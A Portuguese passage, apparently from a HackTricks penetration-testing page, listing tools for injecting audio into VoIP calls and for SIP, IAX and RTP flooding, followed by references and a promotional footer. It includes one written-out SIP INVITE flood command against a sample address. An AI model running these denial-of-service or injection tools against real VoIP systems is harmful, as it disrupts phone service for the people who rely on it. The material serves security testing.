Ou você pode usar os scripts de [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) para **escanear conversas** (**`rtpscan.pl`**), enviar um `.wav` para uma conversa (**`rtpsend.pl`**) e **inserir ruído** em uma conversa (**`rtpflood.pl`**).
|
|
|
|
### DoS
|
|
|
|
Existem várias maneiras de tentar alcançar DoS em servidores VoIP.
|
|
|
|
* **`sipflood.py`** de [**sippts**](https://github.com/Pepelux/sippts)**: **_**SipFlood**_ envia mensagens ilimitadas para o alvo
|
|
* `python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v`
|
|
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS no protocolo IAX usado pelo Asterisk.
|
|
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Uma ferramenta para realizar inundação de mensagens SIP/SDP INVITE por UDP/IP.
|
|
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Envia vários pacotes RTP bem formados. É necessário saber as portas RTP que estão sendo usadas (fareje primeiro).
|
|
* [**SIPp**](https://github.com/SIPp/sipp): Permite analisar e gerar tráfego SIP. Portanto, também pode ser usado para DoS.
|
|
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Canivete suíço SIP. Também pode ser usado para realizar ataques SIP.
|
|
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
|
* **`sipsend.py`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPSend nos permite enviar uma **mensagem SIP personalizada** e analisar a resposta.
|
|
* **`wssend.py`** de [**sippts**](https://github.com/Pepelux/sippts)**:** WsSend nos permite enviar uma mensagem SIP personalizada por WebSockets e analisar a resposta.
|
|
|
|
### Vulnerabilidades do sistema operacional
|
|
|
|
A maneira mais fácil de instalar um software como o Asterisk é baixar uma **distribuição do sistema operacional** que já o tenha instalado, como: **FreePBX, Elastix, Trixbox**... O problema com esses é que, uma vez que estão funcionando, os administradores do sistema podem **não atualizá-los novamente** e **vulnerabilidades** serão descobertas com o tempo.
|
|
|
|
## Referências
|
|
|
|
* [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
|
|
* [http://blog.pepelux.org/](http://blog.pepelux.org/)
|
|
* [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
|
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|